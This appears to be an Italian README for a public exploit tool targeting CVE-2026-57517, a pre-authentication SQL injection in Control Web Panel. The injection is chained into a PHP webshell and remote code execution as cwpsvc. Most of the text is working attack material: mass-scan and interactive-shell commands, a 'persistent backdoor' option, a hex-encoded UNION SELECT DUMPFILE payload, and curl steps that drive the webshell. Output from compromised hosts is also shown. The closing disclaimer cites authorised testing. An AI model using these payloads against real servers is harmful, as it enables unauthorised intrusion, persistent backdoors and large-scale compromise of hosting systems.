
💉 Blind SQL Injection → RCE exploit per Control Web Panel (CWP) ≤ 0.9.8.1224 — userRes POST → INTO DUMPFILE → shell cwpsvc
CVE-2026-57517 è una grave blind SQL injection pre-autenticazione in Control Web Panel (CWP) versioni ≤ 0.9.8.1224. Il parametro POST userRes dell'endpoint del pannello utente non viene sanitizzato prima di essere incorporato in una query SQL. Le query vengono eseguite con privilegi root di MySQL — che detiene il privilegio globale FILE — consentendo agli attaccanti di scrivere file arbitrari tramite INTO DUMPFILE.
La tipica catena di sfruttamento posiziona una webshell PHP nella directory dei log di Roundcube accessibile via web, ottenendo l'esecuzione di codice remoto come account di servizio cwpsvc.
git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt
# Single target (auto-detect username)
python cve_2026_57517.py -t 192.168.1.100
# Single target with known username
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc
# Mass scan
python cve_2026_57517.py -f targets.txt -o live.txt
# Interactive shell
python cve_2026_57517.py -t target.com --rce -u cwpsvc
# Persistent backdoor (no auto-cleanup)
python cve_2026_57517.py -t target.com --no-cleanup
-t, --target Single target host
-f, --file File with targets (one per line)
-u, --username CWP username (skips auto-detection)
-o, --output Live TXT output file
--json JSON report file
--threads Concurrent workers (default: 20)
--timeout Request timeout seconds (default: 15)
--no-cleanup Leave shells on target
--rce Interactive shell mode
-v, --verbose Verbose output
$ python cve_2026_57517.py -f targets.txt -o live.txt -v
────────────────────────────────────────────────────────────
CVE-2026-57517 | 5 targets | 20 threads
Cleanup: yes
Live TXT: live.txt
────────────────────────────────────────────────────────────
✅ 192.168.10.100:2083 [rce_confirmed] 18.2s
User : admin
Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
RCE : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp-prod-01.example.com
whoami: cwpsvc
⚠️ 192.168.10.200:2083 [sqli_failed] 12.1s
User : cwpsvc
Error : SQL injection failed — target may be patched or path not writable
· 192.168.10.50:2083 [not_cwp] 2.3s
==================================================
SCAN SUMMARY
==================================================
Total : 5
✅ RCE : 2
⚠️ SQLi Fail : 1
🔍 No User : 1
· Not CWP : 1
==================================================
$ python cve_2026_57517.py -t target.com --rce -u admin
CWP Interactive Shell — target.com
Type 'exit' to quit, 'cleanup' to remove shell
cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
cwp$ hostname
cwp-prod-01
cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash
cwp$ exit
Passaggio 1 — Verifica che CWP sia raggiungibile sulla porta 2083
curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'
Passaggio 2 — Valida il nome utente
curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = user exists
Passaggio 3 — SQL injection tramite userRes
Il payload utilizza una UNION SELECT a 13 colonne con una shell PHP codificata in esadecimale scritta tramite INTO DUMPFILE:
" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #
# The tool handles hex encoding automatically. Manual equivalent:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'
curl -sk 'https://target.com:2083/admin/' \
-d "userRes=$PAYLOAD"
Passaggio 4 — Esegui i comandi tramite webshell (porta 2031)
La shell PHP distribuita legge i comandi dall'header HTTP C::
<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
# Base64-encode: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)
curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)
🚨 SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI
Questo software è fornito esclusivamente per scopi educativi e per ricerca di sicurezza legittima. È pensato per essere utilizzato da:
- 🛡️ Professionisti della sicurezza che conducono test di penetrazione autorizzati
- 🏢 Organizzazioni che effettuano audit della propria infrastruttura CWP
- 🔬 Ricercatori che studiano le tecniche di sfruttamento delle vulnerabilità
- 🎓 Studenti che apprendono la sicurezza delle applicazioni web
❌ Non puoi utilizzare questo software per:
- Accedere a sistemi informatici senza esplicita autorizzazione scritta
- Compromettere, danneggiare o interrompere sistemi che non possiedi
- Intraprendere attività illegali di qualsiasi tipo
⚖️ Avviso legale
L'accesso non autorizzato a sistemi informatici viola leggi tra cui, a titolo esemplificativo ma non esaustivo:
- Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
- Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
- Unione Europea: Direttiva 2013/40/UE
- Regno Unito: Computer Misuse Act 1990
Gli autori NON si assumono ALCUNA RESPONSABILITÀ per usi impropri, danni o conseguenze legali derivanti dall'uso di questo strumento. Utilizzando questo software, riconosci di essere l'unico responsabile delle tue azioni e accetti di conformarti a tutte le leggi applicabili.
⚡ Realizzato per la ricerca sulla sicurezza e l'istruzione ⚡
Questo progetto non è affiliato a Control Web Panel né alla Apache Software Foundation.
| Campo | Dettaglio |
|---|
| CVE | CVE-2026-57517 |
| CVSS | 9.8 (Critico) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Tipo | CWE-89 — Blind SQL Injection (Pre-autenticazione) |
| Versioni interessate | Control Web Panel ≤ 0.9.8.1224 |
| Corretta in | Versione 0.9.8.1225 |
| Divulgazione | 1 luglio 2026 |
| Ricercatore | Egidio Romano (Karma In Security) |
| PoC | Pubblico — KIS-2026-12 |
| Componente | Valore |
|---|
| Colonne SQL | UNION SELECT a 13 colonne |
| Shell PHP | <?php eval(base64_decode($_SERVER['HTTP_C'])); ?> |
| Codifica esadecimale | Letterale esadecimale 0x... di MySQL |
| Metodo di scrittura | INTO DUMPFILE (scrittura file binaria esatta) |
| Percorso di destinazione | /usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php |
| Consegna dei comandi | Header HTTP C: con PHP codificato in base64 |
| Esecutore dei comandi | passthru(base64_decode('{cmd}')) |
| Risorsa | Link |
|---|
| Advisory di Karma In Security | KIS-2026-12 |
| PoC originale | CVE-2026-57517.php |
| Full Disclosure | SecLists |
| OpenCVE | CVE-2026-57517 |
| Changelog di CWP | control-webpanel.com |